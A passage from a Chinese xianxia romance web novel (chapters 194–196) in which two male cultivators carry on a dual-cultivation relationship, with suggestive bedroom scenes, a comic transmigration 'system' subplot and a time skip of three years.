“这次是真的喜欢,不是嘴上随便哄哄你,背地里却打着坏主意的那种轻薄的喜欢哦。” 他想了想,补充道:“现在就算你用剑砍我,我也不会生气的。” 聂无洄:“….” 聂无洄抱紧他,耳语道:“傻。” 屠天霸:“.……诶??你这样说我,我会生气的!不能这样说我!!” 说完,他坏心眼地拱腰报复。 聂无洄没有防备,再度唤出声,并长长地抽了一口气,与此同时,屠天霸发出一道极其夸张的怪叫,堪称一波三折,彻底倒在了温柔乡里头。 几息之后,他才突然反应过来,抬手摸了摸自己滚烫的耳朵,又顺着耳朵摸到了男人微张的唇, “你刚才的声音真好听,我好喜欢。” 聂无洄暗含羞恼地抿了抿唇,唇瓣碰到少年的指头,他忍不住轻轻一咬,语气刻意加重,“你怎么这么……” 快’字还没说出口,他就听到少年喜滋滋地问:“这回双修很顺利,哼,不愧是我,怎么样,我表现得很好吧?” 聂无洄:……" 好什么好,头疼。 昨夜少年不听人言,一通瞎折腾的问题解决了,但让聂无洄头疼的事情可不止这一件,其次就是少年双修的速度…… 太快了。 当然,放在凡尘俗世,两三个时辰一回大概不能算是短暂,而是天赋异禀了。 但修仙者进行双修,如同闭关修炼,过程中不能只贪图享乐,还要内守心神,以提高修为为主。 哪里像他,不加克制,舒服了就…… 徒留聂无洄操心。 尽管少年不需要休养生息,就能继续双修,但这样频繁的…,还是为聂无洄带来了不少困扰。 最重要是的—— 双修心法屡屡中断,恐怕效果减半。 屠天霸不知道男人的困扰,听到他劝自己隐忍,直接点头应了,可他下回还是跟之前一个样子,一言不合就交代出去了。聂无洄快要存不下。 最后,他实在没办法,捡起一根红绳将屠天霸拴住,还被那人不情不愿地抱怨, “为什么捆我?这样不舒服!” “阿洄,阿洄………” “呃啊啊啊,我好像出问题了…!” “…” 聂无洄听少年抱怨了好一通,却没有擅自摘掉红绳,只是抱紧了他,胡乱啃咬着他的肩头,心中滋味几番变换。 无奈、好笑、想要纵容却不能的纠结。 ……以及很隐秘的欢喜。 他回抱着少年的脑袋,督促道:“专心些,你以为双修就是单纯的亲热吗?不要贪图一时之乐,认真修炼。” 说话时,聂无洄快要咬碎牙,才没有被少年带着,颠出不堪的颤音。 屠天霸:"………啊?" 可他就是贪图一时之乐啊。 大概是屠天霸语气里的失落太明显,聂无洄顿了顿,很迟疑地改口道:“要是你专心修炼五…三天,我便摘下红绳一日,这样可好?”屠天霸不屑地喊了一声,然后埋头发愤图强,几乎拿出了早年十年筑基的劲头。 双修持续了三天三夜。 屠天霸修为不浅,不眠不休,不吃不喝倒也无妨,可聂无洄还未恢复,只靠灵气修复经脉的余泽支撑,自然落了下乘。 好在还有屠天霸的丹药。 日升日落,山洞中的响声久久未断。 角落的那束花芳香依然,娇嫩得像是能掐出水来,可事实上…… 被掐出水的另有其人。 屠天霸背靠石墙而坐,男人在他怀中,两人面对着面,距离贴近。 在屠天霸的强烈要求下,聂无洄靠在他的肩上,抿着他的指尖,任他往自己口中注入灵泉水。 有时是辟谷丹。 聂无洄咽了好几口,然后熟练地咬了咬少年的指尖,“够了,收回去吧。” 屠天霸认真地盯了他好一会儿,用那只被咬了好多次的指头撩开那缕粘在男人脸侧的湿发,“不要了吗?你出了好多汗…….” 聂无洄侧着脸,靠在少年的肩头,沉闷的呼吸打在对方的肌肤上,说话声也潮湿, “不要紧的……” 最后一个字的尾音骤然曲折。 是屠天霸在使坏。 他觉得男人说话好听,哼唧也好听,婉转又绵长,听得自己骨头都酥了。 偏偏这人吝啬得很,自己数次请求,他却抿唇摇头,不肯答应! 怎么如此小气? 自己可一点不怕被他听了去! 好在屠天霸已经学会了自己奖励自己。 前两日男人尚且应付得来,只是他会渴会困,困了就会心神恍惚,屠天霸若是偷偷用劲儿,那声响便跳了出来,压不住。像在听曲儿。 聂无洄搭在少年肩颈处的手滑落,落到他的腰间,揪着一小块皮肉挠了几下,屠天霸当即打着激灵,笑出声, “我怕痒啦!” 聂无洄耳语:“……谁让你使坏。” 屠天霸的道理比天大,硬气道:“好听嘛!我也给你听了啊!” 他不说还好,一说,聂无洄便回想起他那阵九曲十八弯的怪叫,毫无遮拦,事后还满面红光地夸奖自己, "你太好了,这里好,那里也好!" “让我很舒服!”胡言乱语的是屠天霸,感到羞耻的人却是聂无洄。他甚至想抽空教导少年何为仁义礼信,君子之言。只是在这期间进行君子之风的教导,似乎更让人感到羞耻了…聂无洄只好左耳进,右耳出。屠天霸却不知道给他留脸面,撩开他的头发,嘴唇捧着他的耳垂,惊呼道:“你耳朵好红,烫得很,是不是身体哪里不舒服?我有药…….”聂无洄婉拒了。或许是跟少年待久了,聂无洄觉得自己也染上了恶习。他揪着屠天霸腰间的皮肉不放,听对方说痒,指头挠得更欢。屠天霸的脸皱成了包子,疯狂地左摇右晃,竭尽全力却无法挣脱,只好大笑着说起了软话, “阿洄,我错了,真的很痒!” “我不会再使坏了!!” 聂无洄瞥着他那双提溜转的眼珠子,怎么可能不知他在扯谎,心中好笑,只觉得一只手不够,另一只手也掐上了少年的腰。 屠天霸的两条腿动弹不得,背又靠着石壁,算是被面前的男人困住了。他腰上痒得很,下意识地扭动挣扎起来,一个弹起—男人的手脚同时卸了力道,不自觉地发出一声格外短促的抽气声。 沙哑、失控、音调似泣。 屠天霸张开双臂搂住他,对腰间的痒意还心有余悸,猛然发现男人整个人变得软绵绵的,又志得意满地挺起胸膛。 聂无洄在颤抖。 就像是少年屡次抱怨的酥麻之感,他此时的感受有过之而无不及,只想等自己恢复平静之后,稍稍移开身体。 他不忘叮嘱一句, “…别、别乱动。”屠天霸将男人抱得很紧,自然能感受到对方的不安,可他眼珠子一转,故态复萌地招呼过去—— 聂无洄关不住嗓子,只好闷闷地捶了一下少年的后肩。 屠天霸不生气,对男人循循善诱, “你不必憋着,我们关系这样亲近,有什么可避讳的?我就不害臊……” “你也不要对我见外。” 聂无洄只觉得少年对自己又哄又骗,话说得好听,还不是想听他. "小色鬼,脑子里都装得什么?" “当然是你呀!” 屠天霸乐滋滋地拎着男人的腕子,叮嘱他将自己抱紧些,小心被甩出去,然后故意吓唬人似的,压低音量道: “我待会儿要是…,你不会哭吧?” 聂无洄呼吸停顿:“—别。” 下一瞬。 他就感受到少年更加精神了,表情也随之振奋,两只眼睛冒出光来。 “…….” 最后,聂无洄只是侧过脸,将脑袋贴在了少年的肩头,一副无奈顺从的模样,却也看不出勉强。 “……随便你。” 屠天霸莫名闪过一丝失落,紧接着又振奋起来,欢快地胡天胡地,还不忘运转双修心法。 ——这次,他要拿回属于自己的荣耀! 日落山脊。 加上先前那一日一夜,两人在山洞里足足待了五天,方才临近尾声。 两个人都一塌糊涂。 屠天霸终于如愿解开了那条红绳,并心有戚戚地表示——他不好了,他不喜欢红色了,近日都不想往身上套绳子。 男人累得够呛,半天没吭声,身上全是汗,脏污不堪。 屠天霸的,则被他存了起来。 外头的天亮着,清脆的鸟叫声隐隐约约传进来,屠天霸搂着他,绕有兴致地用汗津津的脸去蹭男人的脸, “阿洄,你还醒着吗?” 聂无洄闭着眼,“嗯。” 屠天霸凑过去亲了两口,见男人的唇间浮现一抹轻浅的笑,忍不住又啄了几下,学着他的模样,闭上了眼睛。 他不睡,就是养养神。 屠天霸跟男人脑袋挨着脑袋,很小声地叽叽呱呱:“.…双修是挺舒服的,就是有点累,总感觉脑子里没那么吵了,让我觉得好困,好想睡觉呀。”听到这话,聂无洄竭尽全力回抱他,轻声应道:“现在睡一会儿也不要紧吧?” 屠天霸沉默片刻,语气轻松地道: “算了吧,我精神着呢,多久不睡觉都没关系…!” 男人没应答,只是将他的脑袋反抱进怀中,手掌还一下下地摩挲着他的脑袋,“是吗?你这么厉害啊。” “嗯哼。” 屠天霸只觉得男人的掌心热乎乎的,那股暖意顺着自己的脑袋传递到全身,仿佛在大冬天泡进了热水里,暖洋洋的,让人想要闭眼吐泡泡……他的精神恍惚了一下,眼皮沉重。 屠天霸迷迷糊糊,但他的手已经自动抬起来,想要往自己脸上扇过去—— 聂无洄先一步拦下了他的手。 他攥着少年的手臂,将其一同塞入自己的怀中,轻声道:“不必再这样做了,我会陪着你,绝不会让你陷入万劫不复之地。” 屠天霸没听清男人说了什么。 他只觉得…… 好安静啊。 好像从来没有这么安静过。 心魔呢?都被他扇闭嘴了吗?? 好耶,不愧是我。 屠天霸的精神愈发模糊。 他的小腿不自觉地抽动两下,恍然忆起那个机智心魔的任务,但他完全想不起来那个所谓的‘关键台词’了,只记得是很文绉绉的一句话。心魔说那是婚誓词。 屠天霸烦恼地皱起眉,下一瞬,眉心传来一阵温热的触感,他细细感受了一番,发现是男人试图用指腹抚平他眉心的皱褶。 好舒服。 像是被太阳晒暖了骨头。 可他想了好久,实在想不起原句了,只好用自己的话来解释。 这样也是可以的吧? 于是,屠天霸唤了声, “阿洄……” 河谷深邃幽静,他耳边的杀戮怨恨之音终于消停了,屠天霸听到了河水流淌的哗哗声,听到树叶招展,听到洞口的滕蔓被风拂起一道道轻波…… 他在轻波中,缓缓道: “不管你以前是谁,但以后………你可以永远做我的阿洄,我也永远是你的……” 说到这里,屠天霸停顿了。他是谁呢?屠医修?还是屠天霸?还是… 见少年的手脚微微抽搐,脸上骤然浮现痛苦的神色,嘴里还低低地念叨着, “名、名字……” 聂无洄连忙接过话头, “你不必说,我已经知道了。” 他轻轻拍着少年的后背,压低音量,几乎用气音挤出一句话, “……你不叫屠医修,也不叫屠天霸,你叫做屠小明对不对?” 屠天霸手脚抽搐的力道忽然变大,他忍耐着,没有从男人的怀抱中挣脱出去,喉咙里却发出类似野兽发怒前的低吼,以及一些模糊的音节。 良久。 屠天霸的肢体终于恢复了平静,可他整个人都是迷糊的,眼皮又抽搐起来,最终掀开了一条小缝… 缝中,是他的眼瞳。 清澈,剔透。 眼瞳倒映着男人的面孔,似乎想要将他关在门缝里,但屠天霸没有关上这扇门,而是无意识地噗嗤一声,笑了。 笑声古怪,像是作弄人被发现了。 “什么啊,我又不姓屠。” 聂无洄一愣,就见少年用那只被他塞入怀中的手挠了挠脸,又抠了两下鼻梁上的小痣,于半睡半醒中,磕磕巴巴地道: “我.…我姓明,单名修啦……. “嘘,是秘密哦,知道的人都死了。” 屠天霸不知道自己说了什么。 他只知道自己躺在一片柔软的云上,头顶的烈日散发着炽热的光芒,他只得闭起双眼,双手捂着脸,将自己藏进云层里。 他浑身暖融的,血肉丰盈。 这里没有阴冷刺骨的烈火,没有噩梦一般的地狱景象,也没有嘈杂恼人的噪音。 屠天霸很安心地闭上了眼睛。 他的云晃晃悠悠,带他飘到天南地北。 ……真舒服。 山洞中。 聂无洄静静地看着少年的天真睡颜,也闭上了双眼,脸上泛着一丝微笑。 系统空间内。 白色光球看着任务进度条一大截一大截地往上涨,直至涨到99%,最后那1%要亮不亮的,像是被人卡了bug。 【叮——】 很快,任务进度条彻底亮起来。 白色光球猛鬼回头,吓得蓝色光球抖了两抖,小声应道:【程序认可的,我又不能憋回去。】 白色光球陷入沉默。 哪怕机智如袍,也忍不住跟子系统商量两句,“宿主应该不会剁了主角吧?光屏被屏蔽了四五天耶,怎么都该搞出一点真东西了吧?“ 蓝色光球回顾从前:【搞出大肚子?】 白色光球再度沉默:“啊……在前辈不知道的角落里,你也成长了呢,但我说的是爱哦,人类最崇高的纯洁之爱。” 一直蹲在系统空间不起眼的角落里,假装自己不存在的蓝色光球:【…….】 白色光球:“呜呼,老实交代,你是不是偷看我下载的小o书了?” 蓝色光球:【…没、没有啊。】 白色光球:“果然看了。” 屠天霸不知系统间的小小涌动,他只浅眠了一小会儿,就听到脑中忽然‘叮’地一声,整个人一抽,惊醒了。他紧张地抬起脑袋,发现自己仍旧被男人抱在怀中,周遭一片安好,男人的呼吸也沉稳平缓,这才放下心来。 太好了。 他没有狂性大发。 尽管只睡了不到一刻钟的时间,屠天霸整个人却精神焕发,脑中的杀戮之音降低不少,让他心情开阔。 于是,他质问心魔的语调也不算太坏, “哼,本尊的任务完成了吧?只剩最后一个任务,本尊就能获得新肉身?” 心魔慢半拍地应道:“是的,宿主。” 屠天霸面上一喜。 他悄咪咪坐起身,很谨慎地没有吵醒男人,还很轻巧地给他拍了拍背,哼了两句不着调的安眠小曲,才拿出那本书册。 此一时,彼一时。 他盯着书册封面上的白衣仙君,满脸欢喜地冲心魔炫耀, "哼,本尊的道侣真绝色,画师连他的千分之一风采都画不出!" 白色光球:“……” 真希望宿主看完了最后一个任务篇章也能笑得这么开心。 别发癫,千万别发癫。 屠天霸喜不胜收地翻开书,表情很快从微笑变成面无表情,再到眉间黑气缭绕…… 聂无洄睡了个饱。 他是清气之体,能自发地吸收天地灵气以修补自身,哪怕是单纯的睡觉,也能恢复过去几天消耗的精力。他恍然醒来,发现怀中空落落的,猛地睁开双眼,就发现自己正枕着一条大腿,屠天霸的脑袋赫然悬在上空。 下一瞬。 聂无洄就见少年红着眼,神情悲怆交加,仿佛遭人背叛一般地冲自己吼道: “你怎么能这样对我?!” "虽然我的确说过,就算你将来提剑砍我,我也不会跟你生气,但你也不能把我制了吧!!" “难道只有我一个人开心吗?!!” “后面那几回你分明也很吵啊!!” “我死也不会瞑目的,哼!!!” 195、Chapter 195 ... 聂无洄懵了。 任谁一觉醒来,发现跟自己肌肤相亲了数日的枕边人用一种天崩地裂的语气质问自己‘为何这样对他'',都会陷入迷惘。 ………怎样对他了? 难道是绳子勒太紧,如今还难受? 随后那几句直白的喊话,更是让聂无洄心中微窘,一时间竟无言以对。 见男人不吭声,屠天霸本就凉了半截的心更凉了,眼眶也愈发红润,如今两人衣衫不整,他又一副遭遇了负心汉的模样……… 看得聂无洄疑惑交加。 他动作缓慢地坐起身,身体与神魂深处仍残留着浓重的酥麻感,提醒着他发生了什么。 聂无洄无暇顾及,凑近问话,“你是不是做噩梦了?怎么净说胡话?” 屠天霸听他这么说,倒抽一口凉气,用不可思议的眼神瞪着面前的人,仿佛聂无洄是个道貌岸然的坏东西。 他刚想跟男人好好掰扯掰扯,只是转念一想——万一自己将书册之事吐露出来,刺激得男人提前恢复记忆,又变成初见时的那个正道修士怎么办? 岂不是被割了,还丢了道侣? 最重要的是,屠天霸想要的是眼前这个温柔漂亮,又贤惠体贴的阿洄,不想要那个狗屁仙君。 况且,事情尚未发生…… 屠天霸在心中对自己百般开解,却仍旧气得撇过头去,不愿意看面前的男人。 绝不是因为他眼泪汪汪! 不行。 可恶,真是气死本尊了! 聂无洄:“?”到底怎么了? 他知晓少年性格直白又别扭,与其长篇大论,还不如做出实际行动来表示心意。 于是,聂无洄抬手捧过少年的脸,先是往他唇上啄了一口,然后轻声问道:“到底怎么了?就算你要怪罪我,也得让我明白自己犯了什么事,让你这样恼吧?”屠天霸有点不好意思说。 可捧着他脸蛋的那双手太过温暖,男人似乎分了神,指头不自觉地揉捏他面颊上的软肉,还一个劲儿地冲他微笑。聂无洄见他不情不愿地瞥眼看过来,整张脸被自己托在掌中,显得白嫩可爱,一边憋笑,一边说着,“嗯?别生我的气了。”屠天霸哪里遭得住这个。他有些懊恼地坦白道:“………其实我也不是生你的气,我是生我自己的气。”毕竟他先前信誓旦旦地表示过,就算男人提剑砍他,他也绝对不会生气。可当屠天霸看完书册里的新篇章,才发现自己竟说了大话。他哪里是不生气。 他气得快要爆炸! 当时,屠天霸心里就一个念头:无论全天下谁要砍他,就是自己身边这个男人…… 就他不可以。 屠天霸看了看书,又看了看熟睡中的男人,把自己气得够呛,所以才难以自抑地发了怒,质问像连珠炮一般落到男人脸上。此时此刻,屠天霸稍稍冷静下来。 迎着男人不解的目光,他遮掩了心魔与书册之事,只道自己做了噩梦,并明里暗里地试探:“要是你恢复了记忆,会不会觉得自己被我糟蹋了,要剁掉我的大兄弟?”聂无洄下意识地视线下移。 屠天霸说着说着,语气逐渐悲伤起来,“你现在就对它不好了,非要拿绳子捆它,往后的事都说不准,或许你哪天就看它不顺眼,就……”聂无洄差不多听明白了。 或许是少年在睡梦中受到了魔鼎怨气的影响,做了这么个不着调,却让他耿耿于怀的噩梦。 ……看上去怪伤心的。 聂无洄心中暗叹了一口气,更加用力地捧起少年垂下来的脑袋,凑过去与他脸贴着脸,轻声道:“我哪里对它…咳,对你不好了?若是对你不好,我为何让你那样胡乱地来?” 说完,他单手托着屠天霸的脸,另一只手牵过对方的手腕,落到自己的小腹处。刹那间,屠天霸的脑中闪过一幕画面。——男人满身汗湿,腹中存不下,表情显出几分恍惚和迷离,却还是纵着自己。 屠天霸忍不住笑出声, “嘿嘿。”紧接着,屠天霸连忙收敛笑意,落在男人小腹的那只手顺势搂过他的腰,强势地将他拥进自己怀中,低声道:“冤枉你了,是我不好,你要是心里实在难受,就靠着我的胸脯小声哭一会儿,我绝不会笑话你。”“………毕竟,是我凶了你嘛。”聂无洄靠着少年的前胸,听他生疏别扭地哄着自己,忍不住无声笑笑。至此,一场小乌龙就这么过去了。只是两人都各怀心思。聂无洄原本想要将自己恢复记忆这件事和盘托出,在听到少年的‘噩梦’后,想法发生了转变。还不如暂时维持现状。外界只知魔尊屠天霸迎击天雷劫,此后销声匿迹,不知是生是死,却不知道他也在场。另一方面,他是被预言玉简忽然传送至屠天霸面前的,想必宗门不知他出了关。聂无洄闭关已有三百年。闭关之前,他对掌门早有嘱托:除非出了足以撼动整个宗门或是正道的大事,否则自己不会提前出关。 因此,在魔道看来,自己始终坐镇于归清门,定不敢来犯。 正好。 少年体内的魔息怨气磅礴,或许双修三五载才能初见成效,这期间最好寻个安生地界认真修行…… 这个河谷倒是不错。 不过,聂无洄还有一件事放心不下。 ——他的徒弟,顾宸。 在他闭关的前十年,掌门诞下独子,名为顾宸。顾宸天生心脉破损,妙仙宗宗主断定他活不过二十岁。聂无洄见掌门因幼子而神魂动荡,便将顾宸收入门下,还特别编撰了一门养身心法传给他。顾宸修炼极为刻苦,补全心脉后,展露出修炼天资,三十年便筑了基。 放眼修仙界,三十年筑基已是不易。 像屠天霸这样十年筑基的人物,整个修仙界寥寥可数,谁人不称一句天才。 奈何所有人都喊他魔头。 聂无洄微微恍神,连忙将思绪拽回。 正因如此,顾宸自幼亲近他,还在他闭关前特地讨了个许可,让自己允许他偶尔前往灵兆峰,瞧上一眼。 聂无洄算是看着顾宸长大的,自然应允了。 只是他潜心修炼,从来不回话,偶尔感应到顾宸在外等候多时,才分出一缕神,让灵兆峰的微风拂过顾宸的面,以做应答。 顾宸上一次来灵兆峰,还是他晋升金丹期的时候。 结合前阵子的记忆,聂无洄知道他定然会参加此次仙门大比。 思及此处,聂无洄问少年, “对了,小修,你参加仙门大比之时究竟遭遇了什么?其他医修弟子呢?”屠天霸还是那个说法。 魔修闹事,荒境崩塌,所有人被弹出荒境,他也不知道其他人怎么样了。 聂无洄望着他乱转的眼珠子,不细究其中真相,只道:“算算日子,所有门派的比试也开始了,不知那些魔修还会不会从中作恶….…" 屠天霸不知道他为什么突然问这个,摆了摆手,很无所谓地道了声, “肯定不会啦,魔修也不全是蠢货,没能杀了那些医修弟子,正道宗门肯定气得要命,他们哪里会上门找死。” “若没有好时机,或是魔修中有人带头谋划,短时间内,他们应该是顾不上跟正道厮杀了……”屠天霸说完,才意识到自己话多了,连忙啧了声,在男人的嘴巴上亲了好几口,恶声恶气地道:“问这干嘛?这些事情跟我们散修没关系啦!”聂无洄嘴巴都快被屠天霸亲歪了,他憋着笑,问:“那什么事跟我们有关系?” 屠天霸想都不想,应道: “双修!双修才是头等大事!” 聂无洄无法反驳。 事实上,他也是这么想的。 眼下仙魔两道暂且平静,宗门与弟子也安然无恙,当务之急自然是化解少年身上的劫…… 屠天霸不知男人跟自己的想法不谋而合了,他一边吃着嘴,一边跟脑中的心魔拌嘴争论。 机智的那个。 书中描写,屠医修对男人挟恩图报,自然不会尽心尽力医治他,拖拖拉拉三年,直到某夜,一个英俊青年破门而入,惊扰了他的好事,也带来了他的死期。男人见到破门而入的青年,神情骤然变得恍惚,刹那间忆起了前尘往事,也洞悉了屠医修的龌龊之举,当即夺过青年手中的剑— 一剑、剁掉了、屠医修的那活儿! 第二剑,贯穿了屠医修的心脏! 从此,恩怨两清。 丹蛊随着主人的死亡而破除,男人却也遭到反噬,回到归清门后,足足疗伤五十年才恢复了原有的修为。 书中故事在这里截止。 屠天霸上一回看得小脸微热,这一次看得下身一痛,机智心魔还在他耳边小声总结着扮演要点, “宿主,这个任务说难也难,说简单也简单,只要你和主角,以及正…咳咳,主角的徒弟同时在场,然后你假装嗝屁,嗝屁前说一句台词就好了……” “话说修仙界的人,被捅两剑应该不致死吧?” “而且台词超级简单的!” “只要说一句‘你是何人?为何来打扰我的好事?′就能杀青!” 当时屠天霸满心怒火和委屈,哪里听得进这些,如今才反应过来,却又陷入了巨大的纠结。 “可是我不想让阿洄恢复记忆呀,这样岂不是无法完成最后一个任务了?” “哎,那个叫顾宸的家伙真是碍眼又碍事,要不我提前把他杀了吧?” 系统空间内。 白色光球不敢提醒宿主,那本具现化的书只涉及前夫哥剧情,原著后面还有大几十万字描述了主角跟他弟子的虐恋。要是让宿主看到完整版原著,正攻大概真的要凉了。 ……还好他有阅读障碍! 白色光球熟练劝道:“建议宿主不要冲动行事,顾宸是主角的亲传弟子,要是杀了他,主角恢复记忆之后会有点难办哦。” 屠天霸心道:“他不恢复记忆,不就好办了?” 白色光球:“这样的话,宿主就拿不到奖励了哦?不要紧吗?” 屠天霸顿时垮下脸。 “……” 两人在山洞中一连缠绵了几日,屠天霸还好,中途出去过一回,为聂无洄摘了一束花。 聂无洄却许久没有见过天光了。 这对他来说,倒不是什么大事。 只是不知为何,少年忽然一副愁眉苦脸的模样,问他也不答话,聂无洄知道他跟寻常修真者不同,喜爱凡俗日常,便拽着他出来散步。 山洞外,太阳快要落下。 河谷随之罩上一层浓烈的金色,水面波光粼粼,宛如碎星一般闪耀。 两人正漫步在河岸边。 屠天霸还是那身简洁的玄衣打扮,原本堆满腰间和手脚的红绳都不见了,只剩下一条发带,看得聂无洄直想笑。 他清了清嗓子,唤道:“小修……” 屠天霸正处天人交战之中,忽而听男人唤他的名,下意识地扭头回看。 夕阳西下。 风大了。 一朵山野小花挣脱枝头,飞向天际,而后被晚风裹挟着,颤颤巍巍地落到了屠天霸的前额发梢处,要掉不掉。 他看到白衣男人站在自己身后一步之遥的地方,伸出手臂,摘下了那朵落花,神情沉静清列,却让人无端感到温暖。 屠天霸有些愣。 那人理了理那朵小花的褶皱,将它又簪回了屠天霸的鬓边,“小修……” “你到底在苦恼什么?” 风吹落了男人的衣袖,露出一截布满吻痕与咬痕的手臂,屠天霸偏了偏脑袋,将自己的面颊压在他的小臂内侧。 男人没有收回手,任由他压着。 好温暖。 屠天霸忽然大吐了一口气,随即松开了皱了许久的眉头,退后一步,跟男人并行而立,用一种类似于认命的语气说道: “哎呀,算了算了。” 他挠挠脸,扭头去看身边的男人, “如果跟你永远在一起的代价,是继续像这样活着,我想,这也不是什么难以忍受的事情。” 屠天霸笑了一下,杏眼微弯, “——谁让我喜欢你嘛。” 196、Chapter 196 .. 屠天霸说完,心胸开阔不少,将那些有的没的事情统统甩到脑后,他拽着男人的袖子返回山洞,兴致勃勃地道: “说好了,这回你不能再捆我了……” 聂无洄没说话,被少年拉着走,脚步稳健极了,胸口下方的心跳却踉跄。 他活了千百年,遇到少年后,才初到情爱滋味,自是情难自已。 尽管如此,聂无洄仍不忘督促少年运行双修心法,只是偶尔放松对自身的压制,下意识配合着少年,做出他所喜爱的反应。 指声音方面。 屠天霸喜不胜收,一日比一日熟练。 “……” 对于修仙者来说,三年寒暑或许算不得什么,但河谷岸边的老柳树却是实打实地添了三道年轮。 三年间,河谷有了不小的变化。 春汛破开河面冰层,今年的野樱开得特别早,浅粉的花瓣顺流而下,绕过被冲刷得圆润的鹅卵石,飘向远方。 石隙钻出一簇簇的春草,晶莹的水珠悬在草尖上,倒映着整个河谷。——尤其是岸边的小木屋。 清晨。 屠天霸拢着衣襟,鬼鬼祟祟地从小木屋里溜出来,白嫩的颈间布满红痕,新旧交替覆盖,一路蔓延到领口之下。 然而,木门还没合上,男人沙哑干涩的声音便从身后响起, “去哪儿?” 三个字,掷地有声。 屠天霸动作一顿,很听话地停下步子,绞尽脑汁地找着借口, “嗯……今儿天气好,我去给你摘一束新鲜的花,你先睡,累了好几夜了,我马上回来!”“你前几日刚摘过。” 屠天霸支支吾吾地改口道:“哦嗯,我想吃烤獐子了,得去打个猎,顺便野采一点药草……” 木门半开半掩,暖色的曦光掠过屠天霸的身影,将屋内的景象映亮了几分,朦朦胧胧,只能看到些许轮廓。屋子里的陈设简单。 靠窗位置摆了一张桌子,两把椅子,桌上放着一截青竹,里头盛满了灵泉水,几日前采摘的鲜花仍旧生机勃勃。屋中央的床很大,只是巨熊皮毯比它还大一圈,男人趴卧其间,脊背上的痕迹堪称惊心动魄,几乎找不出一块好地儿了。 尤其是血肉最为饱满之处,掌痕如新。 聂无洄的一只手垂落在床边,他稍显费劲地动了动指头,冲门口的少年招招手,把人招了回来。屠天霸心虚地笑了笑,然后轻手轻脚地走了回去,蹲在床边,任由男人戳了一下自己的额头。他很夸张地哎呀了一声,直呼痛。 聂无洄忍不住弯了一下唇,他半掀着眼皮,缓慢翻过身,后背的痕迹隐入暗处,却露出了身前更加凄惨的景象。 他张开双臂,意味明确。 屠天霸哼唧了一句,“真粘人……” 聂无洄:“随便你怎么说,过来。” 三年过去,聂无洄也发生了不少变化。 清修了千百年的他,如今已经习惯了整日不着寸缕地躺在床上,宛如一个被囚禁于无人荒野处的双修炉鼎,整日被人采补。 不过,实际情况似乎与之相反。 见男人敞开怀抱,屠天霸三两下蹬掉鞋子,呲溜一下窝进熟悉的温暖怀抱,忽而听到对方在自己耳边轻声道: "……从前你整日念叨要跟我双修,怎么如今总是往外面跑?厌倦了?" 聂无洄是随口一说,话里还藏着笑。 两人才刚双修完一轮,时间持续了六七天,少年的反应绝对说不上厌倦,聂无洄时常觉得自己会死在床上。 可他没有。 屠天霸的自夸没有说错,他真的是个体贴的好道侣,会给枕边人喂水投食,涂抹膏药,清洁梳洗…… 在少年的心目中,聂无洄并非正道第一人,不必为正道宗门担起大梁—— 他只是一个动不动就喊痛,需要被好好照料的娇气包。 聂无洄已经习惯少年这么称呼自己了。 最开始,他心中微窘。 直到如今,他只觉得甜蜜。 屠天霸没听出男人语气里几不可查的揶揄,当真以为他因自己的行径感到失落,当即解释起来。 “怎么可能厌倦?就算你不相信我,也要相信你自己的大胸脯……”屠天霸细数了几处心头好,接着说,“而且你凭什么不相信我?!” 说话时,他双眼圆睁,神情严肃极了。 聂无洄凝眸回看,忍不住用指尖抚摸着屠天霸的眼尾,忽然发现了一件事,“眼睛好像没有以前圆了……” 随后,他又比划了一下屠天霸的肩膀, “肩也比以前宽,你是不是长高了?” 屠天霸顿时心花怒放,怀疑男人刻意哄自己开心,但心里已经信了五分。 他唇角翘得老高,语气却很谦虚,“可能…可能是因为跟你双修三年太辛苦了,期间睡过几次觉,梦里拔个子呢!”虽然每次睡觉都不足一刻钟,但屠天霸已经非常满足了,想要撼动他神智的心魔音也颓靡了不少。 双修好,双修妙,双修呱呱叫! ……虽然双修千好万好,屠天霸也沉迷其中,但在男人尽职的督促之下,他莫名有种想在双修间隙做点什么的冲动。 比如,采采花、打打猎、做做饭等。 心魔说,这叫摸鱼。 心魔还说,他这是把个人爱好升级成职业了,所以需要喘息的空间,就像是下了班的社畜喜欢在车里坐一会儿再回家。 屠天霸似懂非懂。 此时,正是双修结束后的间隙。 屠天霸本是嘴上说说,说着,果真起了打个猎的心思。他不喜欢食用辟谷丹,今儿打只獐子回来,半只做烤肉,半只煲汤给男人补补身体…… 当然了。 打猎只是第一重原因。 更重要的是—— 书册里有言,屠医修与男人便是在这一年,被那什么顾宸撞破了亲热现场。 屠天霸无法接受! 虽然大多魔修不忌讳被看到自己的亲热场面,还时常邀请更多人加入…… 但屠天霸是一个传统的正经魔修! 因此,这段时日,屠天霸隔三差五便寻个借口溜出去,加固一番自己在三年前布下的隐匿法阵,防止有外人误闯河谷。 可惜道侣太粘人,半刻都离不得他。 屠天霸叹息着,心中却暗暗得意。 除去隐匿法阵,这个河谷中还有防御法阵,索性如此,屠天霸也不至于在离开的空档担心男人的安危。 不过,男人自身的修为也不低。 三年前,屠天霸炼化了那枚丹胎,事后也考虑过,要不要给他再下一味抑制灵力的丹药? 他思来想去,最终还是放弃了。 正因如此,男人的修为逐渐恢复,如今已至元婴期,早就超过了屠天霸明面上的筑基九层了。 也算有自保之力。 换做三年前,屠天霸绝对不会让他提升修为,还要用缩身术或其他手段将男人牢牢掌控在自己身边…… 现在么, 屠天霸瞥了眼男人困倦的面容,那只温暖的手还一个劲儿地摩挲着自己的五官。两人的脑袋挨得很近,男人嗅着他的头发,唇角弯弯。 哎呀,哎呀… 这人真是爱惨了他呀。 屠天霸陪人躺了一会儿,发现他半晌都没睡着,只是闭眼养神,一副不想动弹的模样,便直接将人抱了起来,嘴上催促, “起床啦…!” 他盘腿坐着,男人长手长脚地窝在他怀里,像是没听见一般,仍旧不动弹。 屠天霸帮他套上内衫,见他眼皮也不抬一下,忍不住抱怨了一句, “你现在怎么这么懒啊?” 聂无洄噗嗤一声笑出来,声音还带着几分哑,听得屠天霸又开始蠢蠢欲动,他连忙打住,直接把人带下了床。 “别对我施展魅功了!” 聂无洄睁开眼:“………我哪会这个。” 屠天霸反驳道:“你哪里不会?你可太会了,冲我一笑,一勾手,一哼哼,我整个人就魂不附体了,只有它还抖擞!” 说着,屠天霸还示意了一下。 聂无洄沉默片刻,忍不住又戳了一下少年的眉心,淡定道:“不是我练了魅功,是你太好色。”屠天霸不躲不避,腰杆挺直,“我一个血气方刚的大男人,好色不是很正常的吗?况且我又没有好别人的色,这叫专情!”他单手搂着男人的腰,催促他站直,另一只手在自己的头顶比划,发现自己果然在不知不觉中长高了。 